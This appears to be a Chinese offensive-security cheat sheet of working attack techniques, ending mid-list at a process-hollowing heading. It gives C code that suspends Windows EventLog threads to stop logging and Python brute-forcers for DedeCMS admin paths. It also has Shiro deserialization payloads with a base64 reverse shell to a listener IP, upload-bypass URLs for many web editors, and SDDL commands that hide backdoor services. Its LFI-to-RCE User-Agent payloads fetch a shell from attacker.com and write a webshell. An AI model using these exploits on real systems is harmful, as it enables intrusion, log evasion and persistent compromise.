http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_06_30.log
寻找上传点直接传
http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./test.txt
使用windows defender下载文件
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0>MpCmdRun.exe -DownloadFile -url http://192.168.2.105:8000/payload.c -path c:\\users\\test\\desktop\\1.c
其他利用
通过挂起EventLog服务线程禁用Windows事件日志
Windows事件日志由svchost.exe托管处理。EventLog
如果我们列出svchost进程,则会看到许多这样的进程:
从上面的屏幕截图中,尚不清楚哪个进程真正托管了该服务,但是如果我们继续在Process Hacker中逐个检查进程,我们最终将找到托管该服务的进程,当前为pid 2196:EventLog svchost.exe
通过以下命令获得eventlog的进程ID
Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId
如果我们查看的svchost.exe线程,则会看到
下面显示的是,确实,暂停足以使EventLog服务无法注册任何新事件:
没有挂起时修改个密码
会注册新的事件
挂起时则没有新的事件
代码实现
下面是在较高级别下工作的技术代码:
1.使用OpenSCManagerA命令打开服务控制管理器的句柄
2.使用OpenServiceA命令打开EventLog服务的句柄
3.使用QueryServiceStatusEx命令检索svchost.exe(托管EventLog)进程ID
4.打开svchost.exe进程的句柄(从第3步开始)
5.获取由svchost.exe加载的已加载模块的列表 EnumProcessModules
6.循环浏览在步骤5中检索到的已加载模块列表,使用查找其名称并找到模块的基地址-这是包含服务内部工作的模块
7.获取模块信息。它将返回带有模块的起始地址-我们稍后将在确定服务线程是否落入wevtsvc.dll模块的内存空间时需要这些详细信息wevtsvc.dll GetModuleInformation EventLog
8.枚举svchost.exe内的所有线程。Thread32FirstThread32Next
9.对于步骤8中的每个线程,使用NtQueryInformationThread命令检索线程的起始地址
10.对于步骤8中的每个线程,检查线程的起始地址是否属于svchost.exe内部的内存空间。wevtsvc.dll
11.如果线程的起始地址在内存空间内,则这是我们的目标线程,我们将其挂起wevtsvc.dll SuspendThread
12.EventLog 服务现已禁用
#include <iostream>
#include <Windows.h>
#include <Psapi.h>
#include <TlHelp32.h>
#include <dbghelp.h>
#include <winternl.h>
#pragma comment(lib, "DbgHelp")
using myNtQueryInformationThread = NTSTATUS(NTAPI*)(
IN HANDLE ThreadHandle,
IN THREADINFOCLASS ThreadInformationClass,
OUT PVOID ThreadInformation,
IN ULONG ThreadInformationLength,
OUT PULONG ReturnLength
);
int main()
{
HANDLE serviceProcessHandle;
HANDLE snapshotHandle;
HANDLE threadHandle;
HMODULE modules[256] = {};
SIZE_T modulesSize = sizeof(modules);
DWORD modulesSizeNeeded = 0;
DWORD moduleNameSize = 0;
SIZE_T modulesCount = 0;
WCHAR remoteModuleName[128] = {};
HMODULE serviceModule = NULL;
MODULEINFO serviceModuleInfo = {};
DWORD_PTR threadStartAddress = 0;
DWORD bytesNeeded = 0;
myNtQueryInformationThread NtQueryInformationThread = (myNtQueryInformationThread)(GetProcAddress(GetModuleHandleA("ntdll"), "NtQueryInformationThread"));
THREADENTRY32 threadEntry;
threadEntry.dwSize = sizeof(THREADENTRY32);
SC_HANDLE sc = OpenSCManagerA(".", NULL, MAXIMUM_ALLOWED);
SC_HANDLE service = OpenServiceA(sc, "EventLog", MAXIMUM_ALLOWED);
SERVICE_STATUS_PROCESS serviceStatusProcess = {};
# Get PID of svchost.exe that hosts EventLog service
QueryServiceStatusEx(service, SC_STATUS_PROCESS_INFO, (LPBYTE)&serviceStatusProcess, sizeof(serviceStatusProcess), &bytesNeeded);
DWORD servicePID = serviceStatusProcess.dwProcessId;
# Open handle to the svchost.exe
serviceProcessHandle = OpenProcess(MAXIMUM_ALLOWED, FALSE, servicePID);
snapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
# Get a list of modules loaded by svchost.exe
EnumProcessModules(serviceProcessHandle, modules, modulesSize, &modulesSizeNeeded);
modulesCount = modulesSizeNeeded / sizeof(HMODULE);
for (size_t i = 0; i < modulesCount; i++)
{
serviceModule = modules[i];
# Get loaded module's name
GetModuleBaseName(serviceProcessHandle, serviceModule, remoteModuleName, sizeof(remoteModuleName));
if (wcscmp(remoteModuleName, L"wevtsvc.dll") == 0)
{
printf("Windows EventLog module %S at %p\n\n", remoteModuleName, serviceModule);
GetModuleInformation(serviceProcessHandle, serviceModule, &serviceModuleInfo, sizeof(MODULEINFO));
}
}
# Enumerate threads
Thread32First(snapshotHandle, &threadEntry);
while (Thread32Next(snapshotHandle, &threadEntry))
{
if (threadEntry.th32OwnerProcessID == servicePID)
{
threadHandle = OpenThread(MAXIMUM_ALLOWED, FALSE, threadEntry.th32ThreadID);
NtQueryInformationThread(threadHandle, (THREADINFOCLASS)0x9, &threadStartAddress, sizeof(DWORD_PTR), NULL);
# Check if thread's start address is inside wevtsvc.dll memory range
if (threadStartAddress >= (DWORD_PTR)serviceModuleInfo.lpBaseOfDll && threadStartAddress <= (DWORD_PTR)serviceModuleInfo.lpBaseOfDll + serviceModuleInfo.SizeOfImage)
{
printf("Suspending EventLog thread %d with start address %p\n", threadEntry.th32ThreadID, threadStartAddress);
# Suspend EventLog service thread
SuspendThread(threadHandle);
Sleep(2000);
}
}
}
return 0;
}
以下演示
net user ola ola执行并更改用户的ola密码,并在6:55:30 PM记录事件4724
执行文件,svchost.exe中暂停了4个EventLog线程
再次执行修改密码命令
新的事件没有写入,只有挂起前的事件
dedecms
爆破后台
windows服务器
tags.php
import requests
import itertools
characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
back_dir = ""
flag = 0
url = "http://www.test.com/tags.php"
data = {
"_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif",
"_FILES[mochazz][name]" : 0,
"_FILES[mochazz][size]" : 0,
"_FILES[mochazz][type]" : "image/gif"
}
for num in range(1,7):
if flag:
break
for pre in itertools.permutations(characters,num):
pre = ''.join(list(pre))
data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
print("testing",pre)
r = requests.post(url,data=data)
if "Upload filetype not allow !" not in r.text and r.status_code == 200:
flag = 1
back_dir = pre
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
break
else:
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
print("[+] 前缀为:",back_dir)
flag = 0
for i in range(30):
if flag:
break
for ch in characters:
if ch == characters[-1]:
flag = 1
break
data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)
r = requests.post(url, data=data)
if "Upload filetype not allow !" not in r.text and r.status_code == 200:
back_dir += ch
print("[+] ",back_dir)
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
break
else:
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
print("后台地址为:",back_dir)
rss.php
import requests
import sys
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789_-'
menu = ''
for k in range(10):
for payload in payloads:
data = "dopost=save&_FILES[b4dboy][tmp_name]=../%s%s</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif"% (menu, payload)
res = requests.post("http://www.yx-tv.com/plus/rss.php", data=data, headers={"Content-Type":"application/x-www-form-urlencoded"})
if res.content.decode("utf-8").find("Error") > -1:
menu += payload
break
if payload == '-':
print(menu)
sys.exit()
print(menu)
dedecms前台重置任意管理员密码
https://xz.aliyun.com/t/1959
伪造cookie登录任意前台用户
注册用户user1
访问
/member/index.php?uid=user1
登录user1
将last_vid的值赋给DedeUserID,last_vidckMd5的值赋给DedeUserIDckMd5修改后的cookie
前台上传shell
Admin登录,发表文章,修改文件名1.jpg.p*hp
后台文件上传
访问/dede/tpl.php?action=upload
F12获取token
访问
/dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=[token值]
/dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=<?php phpinfo();?>&token=6d0c1893e01a77e7e6ba24fb2dc7599c
Shell位置/include/taglib/moonsec.lib.php
后台getshell
模块->广告管理->新建广告,在广告内容中添加一句话
/plus/ad_js.php?aid=[x]
FastAdmin前台getshell
前台创建用户,修改头像,传图片马
/public/index/user/_empty?name=../../public/uploads/20200926/4a91d432904c0042bcd038ea96ad4947.jpg
Shiro rememberMe反序列化漏洞
Shiro相关转自bypass公众号
https://github.com/insightglacier/Shiro_exploit
python shiro_exploit.py -u http://192.168.172.129:8080
通过获取到的key,常见的漏洞利用方式有两种:反弹shell和写入文件。
反弹shell
监听本地端口
nc -lvp 1234
Java Runtime 配合 bash 编码,在线编码地址:
http://www.jackson-t.ca/runtime-exec-payloads.html
将bash -i >& /dev/tcp/192.168.172.133/1234 0>&1编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}
通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'
使用shiro.py 生成Payload
python shiro.py 192.168.172.133:6666
shiro.py代码如下
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
构造数据包,伪造cookie,发送Payload。
写入文件
生成poc.ser文件
sudo java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
使用Shiro内置的默认密钥对Payload进行加密:
package shiro;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TestRemember {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("d://poc.ser"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); }}
Shiro Padding Oracle Attack
登录Shiro网站,从cookie中获得rememberMe字段的值
利用DNSlog探测,通过ysoserial工具payload。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 75bbot.dnslog.cn" > payload.class
使用rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击。
java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath
https://github.com/longofo/PaddingOracleAttack-Shiro-721
使用构造的rememberMe攻击字符串重新请求网站
一键自动化漏洞利用工具
https://github.com/feihong-cs/ShiroExploit
shiro权限绕过
/;/test/admin/page
编辑器漏洞
FCKeditor
版本
FCKeditor/_whatsnew.html
编辑器
FCKeditor/_samples/default.html
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
fckeditor/editor/filemanager/connectors/test.html
上传
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
上传路径
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor被动限制策略所导致的过滤不严问题
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
脆弱描述:FCKeditor v2.4.3中File类别默认拒绝上传类型:html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtmFckeditor 2.0 <= 2.2允许上传asa、cer、php2、php4、inc、pwml、pht后缀的文件
上传后 它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension为后缀。直接导致在win下在上传文件后面加个.来突破[未测试]。而在apache下,因为”Apache文件名解析缺陷漏洞”也可以利用之,详见”附录A”另建议其他上传漏洞中定义TYPE变量时使用File类别来上传文件,根据FCKeditor的代码,其限制最为狭隘。攻击利用:
允许其他任何后缀上传
利用2003路径解析漏洞上传木马
影响版本: 索引底部附录B
脆弱描述:
利用2003系统路径解析漏洞的原理,创建类似bin.asp如此一般的目录,再在此目录中上传文件即可被脚本解释器以相应脚本权限执行。
攻击利用:
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp
强制建立shell.asp目录:
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
or
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
FCKeditor PHP上传任意文件漏洞
影响版本: FCKeditor 2.2 <= FCKeditor 2.4.2
脆弱描述:FCKeditor在处理文件上传时存在输入验证错误,远程攻击可以利用此漏洞上传任意文件。在通过editor/filemanager/upload/php/upload.php上传文件时攻击者可以通过为Type参数定义无效的值导致上传任意脚本。
成功攻击要求config.php配置文件中启用文件上传,而默认是禁用的。攻击利用: (请修改action字段为指定网址):
<form id="frmUpload" enctype="multipart/form-data" action="http://www.xxxx.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
Note:如想尝试v2.2版漏洞,则修改Type=任意值 即可,但注意,如果换回使用Media则必须大写首字母M,否则LINUX下,FCKeditor会对文件目录进行文件名校验,不会上传成功的。
FCKeditor 暴路径漏洞
影响版本:aspx版FCKeditor
攻击利用:
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/1.asp
FCKeditor 文件上传“.”变“_”下划线的绕过方法
影响版本: FCKeditor => 2.4.x
脆弱描述:我们上传的文件例如:shell.php.rar或shell.php;.jpg会变为shell_php;.jpg这是新版FCK的变化。攻击利用:
提交1.php+空格 就可以绕过去所有的,
※不过空格只支持win系统 *nix是不支持的[1.php和1.php+空格是2个不同的文件]Note:http://pstgroup.blogspot.com/2007/05/tipsfckeditor.html
FCKeditor 文件上传“.”变“_”下划线的绕过方法(二)
影响版本:=>2.4.x的最新版已修补脆弱描述:由于Fckeditor对第一次上传123.asp;123.jpg 这样的格式做了过滤。也就是IIS6解析漏洞。上传第一次。被过滤为123_asp;123.jpg 从而无法运行。
但是第2次上传同名文件123.asp;123.jpg后。由于”123_asp;123.jpg”已经存在。
文件名被命名为123.asp;123(1).jpg …… 123.asp;123(2).jpg这样的编号方式。
所以。IIS6的漏洞继续执行了。如果通过上面的步骤进行测试没有成功,可能有以下几方面的原因:
1.FCKeditor没有开启文件上传功能,这项功能在安装FCKeditor时默认是关闭的。如果想上传文件,FCKeditor会给出错误提示。
2.网站采用了精简版的FCKeditor,精简版的FCKeditor很多功能丢失,包括文件上传功能。
3.FCKeditor的这个漏洞已经被修复。
FCKeditor 新闻组件遍历目录漏洞
影响版本:Aspx与JSP版FCKeditor脆弱描述:如何获得webshell请参考上文“TYPE自定义变量任意上传文件漏洞”
攻击利用:
修改CurrentFolder参数使用 ../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=aspx.asp
根据返回的XML信息可以查看网站所有的目录。
/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
TYPE自定义变量任意上传文件漏洞
影响版本: 较早版本
脆弱描述:通过自定义Type变量的参数,可以创建或上传文件到指定的目录中去,且没有上传文件格式的限制。攻击利用:
/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=connectors/asp/connector.asp
打开这个地址就可以上传任何类型的文件了,Shell上传到的默认位置是:
http://www.xxxx.com/UserFiles/all/1.asp
Type=all 这个变量是自定义的,在这里创建了all这个目录,而且新的目录没有上传文件格式的限制.比如输入:
/FCKeditor/editor/filemanager/browser/default/browser.html?Type=../&Connector=connectors/asp/connector.asp
网马就可以传到网站的根目录下.Note:如找不到默认上传文件夹可检查此文件:
fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
eWebEditor
eWebEditor 基础知识
默认后台地址:
/ewebeditor/admin_login.asp
/WebEdior/admin/login.aspx
建议最好检测下admin_style.asp文件是否可以直接访问默认数据库路径:
[PATH]/db/ewebeditor.mdb
[PATH]/db/db.mdb
[PATH]/db/%23ewebeditor.mdb
默认密码:
admin/admin888 、 admin/admin、 admin/123456 、admin/admin9991、点击“样式管理”—可以选择新增样式,或者修改一个非系统样式,将其中图片控件所允许的上传类型后面加上|asp、|asa、|aaspsp或|cer,只要是服务器允许执行的脚本类型即可,点击“提交”并设置工具栏—将“插入图片”控件添加上。而后—预览此样式,点击插入图片,上传WEBSHELL,在“代码”模式中查看上传文件的路径。
2、当数据库被管理员修改为asp、asa后缀的时候,可以插一句话木马服务端进入数据库,然后一句话木马客户端连接拿下webshell
3、上传后无法执行?目录没权限?帅锅你回去样式管理看你编辑过的那个样式,里面可以自定义上传路径的!!!
4、设置好了上传类型,依然上传不了麽?估计是文件代码被改了,可以尝试设定“远程类型”依照6.0版本拿SHELL的方法来做(详情见下文↓),能够设定自动保存远程文件的类型。
5、不能添加工具栏,但设定好了某样式中的文件类型,怎么办?↓这么办!
(请修改action字段)
Action.html
6、需要突破上传文件类型限制么?Come here! —>> 将图片上传类型修改为“aaspsp;”(不含引号),将一句话shell文件名改为“1.asp;”(不含引号)并上传即可。—>本条信息来源:微笑刺客
eWebEditor 可下载数据库,但密文解不开
脆弱描述:
当我们下载数据库后查询不到密码MD5的明文时,可以去看看webeditor_style(14)这个样式表,看看是否有前辈入侵过 或许已经赋予了某控件上传脚本的能力,构造地址来上传我们自己的WEBSHELL.
攻击利用:
比如 ID=46 s-name =standard1构造 代码: ewebeditor.asp?id=content&style=standardID和和样式名改过后
ewebeditor.asp?id=46&style=standard1
eWebEditor遍历目录漏洞
脆弱描述:
ewebeditor/admin_uploadfile.asp
admin/upload.asp
过滤不严,造成遍历目录漏洞
攻击利用:
第一种:ewebeditor/admin_uploadfile.asp?id=14
在id=14后面添加&dir=..
再加 &dir=../..
&dir=http://www.xxxx.com/../.. 看到整个网站文件了
第二种: ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir =./..
eWebEditor 5.2 列目录漏洞
脆弱描述:
ewebeditor/asp/browse.asp
过滤不严,造成遍历目录漏洞
攻击利用:
http://www.xxxx.com/ewebeditor/asp/browse.asp?style=standard650&dir=…././/..
利用eWebEditor session欺骗漏洞,进入后台
脆弱描述:
漏洞文件:Admin_Private.asp
只判断了session,没有判断cookies和路径的验证问题。
攻击利用:
新建一个test.asp内容如下:
<%Session(“eWebEditor_User”) = “11111111”%>
访问test.asp,再访问后台任何文件,for example:Admin_Default.asp
eWebEditor asp版 2.1.6 上传漏洞
攻击利用:(请修改action字段为指定网址)
ewebeditor asp版2.1.6上传漏洞利用程序.html
eWebEditor 2.7.0 注入漏洞
攻击利用:
http://www.xxxx.com/ewebeditor/ewebeditor.asp?id=article_content&style=full_v200
默认表名:eWebEditor_System默认列名:sys_UserName、sys_UserPass,然后利用nbsi进行猜解.
eWebEditor2.8.0最终版删除任意文件漏洞
脆弱描述:
此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入。
攻击利用: (请修改action字段为指定网址)
Del Files.html
eWebEditor PHP/ASP 后台通杀漏洞
影响版本: PHP ≥ 3.0~3.8与asp 2.8版也通用,或许低版本也可以,有待测试。
攻击利用:
进入后台/eWebEditor/admin/login.php,随便输入一个用户和密码,会提示出错了.
这时候你清空浏览器的url,然后输入javascript:alert(document.cookie=”adminuser=”+escape(“admin”));
javascript:alert(document.cookie=”adminpass=”+escape(“admin”));
javascript:alert(document.cookie=”admindj=”+escape(“1”));而后三次回车,清空浏览器的URL,现在输入一些平常访问不到的文件如../ewebeditor/admin/default.php,就会直接进去。
eWebEditor for php任意文件上传漏洞
影响版本:ewebeditor php v3.8 or older version
脆弱描述:
此版本将所有的风格配置信息保存为一个数组$aStyle,在php.ini配置register_global为on的情况下我们可以任意添加自己喜欢的风格,并定义上传类型。
攻击利用:
phpupload.html
eWebEditor JSP版漏洞
大同小异。
eWebEditor 2.8 商业版插一句话木马
影响版本:=>2.8 商业版
攻击利用:
登陆后台,点击修改密码—-新密码设置为 1":eval request("h")’
设置成功后,访问asp/config.asp文件即可,一句话木马被写入到这个文件里面了.注意:可能因为转载的关系,代码会变掉,最好本地调试好代码再提交。
eWebEditorNet upload.aspx 上传漏洞(WebEditorNet)
脆弱描述:
WebEditorNet 主要是一个upload.aspx文件存在上传漏洞。
攻击利用:
默认上传地址:/ewebeditornet/upload.aspx
可以直接上传一个cer的木马
如果不能上传则在浏览器地址栏中输入javascript:lbtnUpload.click();
成功以后查看源代码找到uploadsave查看上传保存地址,默认传到uploadfile这个文件夹里。
southidceditor(一般使用v2.8.0版eWeb核心)
http://www.xxxx.com/admin/southidceditor/datas/southidceditor.mdb
http://www.xxxx.com/admin/southidceditor/admin/admin_login.asp
http://www.xxxx.com/admin/southidceditor/popup.asp
bigcneditor(eWeb 2.7.5 VIP核心)
其实所谓的Bigcneditor就是eWebEditor 2.7.5的VIP用户版.之所以无法访问admin_login.asp,提示“权限不够”4字真言,估计就是因为其授权“Licensed”问题,或许只允许被授权的机器访问后台才对。或许上面 针对eWebEditor v2.8以下低版本的小动作可以用到这上面来.貌似没多少动作Cute Editor
Cute Editor在线编辑器本地包含漏洞
影响版本:
CuteEditor For Net 6.4
脆弱描述:
可以随意查看网站文件内容,危害较大。
攻击利用:
http://www.xxxx.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config
Cute Editor Asp.Net版利用iis解析漏洞获得权限
影响版本:
CuteEditor for ASP.NET中文版脆弱描述:
脆弱描述:
CuteEditor对上传文件名未重命名,导致其可利用IIS文件名解析Bug获得webshell权限。
攻击利用:
可通过在搜索引擎中键入关键字 inurl:Post.aspx?SmallClassID= 来找到测试目标。
在编辑器中点击“多媒体插入”,上传一个名为“xxx.asp;.avi”的网马,以此获得权限。
Webhtmleditor
利用WIN 2003 IIS文件名称解析漏洞获得SHELL
影响版本:<= Webhtmleditor最终版1.7 (已停止更新)
脆弱描述/攻击利用:
对上传的图片或其他文件无重命名操作,导致允许恶意用户上传diy.asp;.jpg来绕过对后缀名审查的限制,对于此类因编辑器作者意识犯下的错误,就算遭遇缩略图,文件头检测,也可使用图片木马 插入一句话来突破。
Kindeditor
利用WIN 2003 IIS文件名称解析漏洞获得SHELL
影响版本: <= kindeditor 3.2.1(09年8月份发布的最新版)
脆弱描述/攻击利用:
拿官方做个演示:进入http://www.xxxx.com/ke/examples/index.html 随意点击一个demo后点图片上传,某君上传了如下文件:http://www.xxxx.com/ke/attached/test.asp;.jpg
Note:参见附录C原理解析。
Freetextbox
Freetextbox遍历目录漏洞
影响版本:未知
脆弱描述:
因为ftb.imagegallery.aspx代码中 只过滤了/但是没有过滤\符号所以导致出现了遍历目录的问题。
攻击利用:
在编辑器页面点图片会弹出一个框(抓包得到此地址)构造如下,可遍历目录。
http://www.xxxx.com/Member/images/ftb/HelperScripts/ftb.imagegallery.aspx?frame=1&rif=..&cif=\..
Freetextbox Asp.Net版利用IIS解析漏洞获得权限
影响版本:所有版本
脆弱描述:
没做登陆验证可以直接访问上传木马
Freetextbox 3-3-1 可以直接上传任意格式的文件
Freetextbox 1.6.3 及其他版本可以上传 格式为x.asp;.jpg
攻击利用:
利用IIS解析漏洞拿SHELL。上传后SHELL的路径为http://www.xxxx.com/images/x.asp;.jpg
Msn editor
利用WIN 2003 IIS文件名称解析漏洞获得SHELL
影响版本:未知
脆弱描述:
点击图片上传后会出现上传页面,地址为
http://www.xxxx.com/admin/uploadPic.asp?language=&editImageNum=0&editRemNum=
用普通的图片上传后,地址为
http://www.xxxx.com/news/uppic/41513102009204012_1.gif
记住这时候的路径,再点击图片的上传,这时候地址就变成了
http://www.xxxx.com/news/admin/uploadPic.asp?language=&editImageNum=1&editRemNum=41513102009204012
很明显。图片的地址是根据RemNum后面的编号生成的。
攻击利用:
配合IIS的解析漏洞,把RemNum后面的数据修改为1.asp;41513102009204012,变成下面这个地址
http://www.xxxx.com/admin/uploadPic.asp?language=&editImageNum=0&editRemNum=1.asp;41513102009204012
然后在浏览器里打开,然后选择你的脚本木马上传,将会返回下面的地址
uppic/1.asp;41513102009204012_2.gif
直接打开是小马地址!
Ueditor
1.4.3.3 .net版本
<form action="http://xx.com/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>
加载一个远程图片shell
表单在远程图片后加?.aspx
如 http://1.1.1.1/uploads/1.gif?.aspx
隐藏windows服务
Translate from: https://www.sans.org/blog/red-team-tactics-hiding-windows-services/
Windows的一个功能允许红队或攻击者将服务隐藏起来,从而为逃避基于主机的常见威胁搜寻技术的检测提供了机会。
这里假设Fax服务是我们的恶意文件或后门
打开services.msc可以看到服务
执行命令可以看到服务
管理员权限下执行以下命令,安全标识符定义语言(SDDL)
& $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
可以看到已经查询不到了
在红队或渗透测试中,这可能是一种有用的技术,可以在受感染主机上保持持久性。重启后,隐藏的服务也会自动启动。
取消隐藏的命令
& $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;; CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
宝塔面板未授权访问phpmyadmin
宝塔Linux面板7.4.2版本
宝塔Linux测试版7.5.13
Windows面板6.8版本
直接访问http://your_ip:888/pma
深x服
EDR RCE
https://ip+端口/tool/log/c.php?strip_slashes=system&host=id 即可执行命令
终端检测响应平台任意用户登录
fofa: title="终端检测响应平台"
target+/ui/login.php?user=admin 即可直接登录
天r信
默认用户superman的uid=1
POST /?module-auth_user&action=mod_edit.pwd HTTP/1.1
从LFI到RCE
当有个lfi时
https://www.website.com/index.php?pg=../../../../etc/passwd
尝试包含/proc/self/environ
https://www.website.com/index.php?pg=../../../../proc/self/environ
若是存在user-agent标识
修改ua来实现rce:
User-Agent: <?system('wget http://attacker.com/shell.txt -O shell.php');?>
User-Agent: <?exec('wget http://attacker.com/shell.txt -O shell.php');?>
User-Agent: <?php phpinfo(); ?>
也可以在服务器内部来创建文件写入shell
User-Agent: <?php $a = base64_decode('PD9waHAgCiAgJGEgPSAkX1BPU1RbJ2NvZGUnXTsKICAkZmlsZSA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwndycpOwogIEBmd3JpdGUoJGZpbGUsJGEpOwogIEBmY2xvc2UoJGZpbGUpOwo/Pgo8Y2VudGVyPgogIDxmb3JtIG1ldGhvZD0icG9zdCIgaWQ9ImZvcm0iPgogICAgPGgyPkZpbGUgV3JpdGVyPC9oMj4KICAgIEZpbGUgTmFtZTxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9InNoZWxsLnBocCI+PGJyPgogICAgU2hlbGwgQ29kZTxicj48dGV4dGFyZWEgbmFtZT0iY29kZSIgZm9ybT0iZm9ybSIgcGxhY2Vob2xkZXI9IlBhc3RlIHlvdXIgc2hlbGwgaGVyZSI+PC90ZXh0YXJlYT48YnI+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iV3JpdGUiPgogIDwvZm9ybT4KPC9jZW50ZXI+Cg=='); $file = fopen('shell.php','w'); echo fwrite($file,$a); fclose($file); ?>
进程挖空(Mitre:T1055.012)
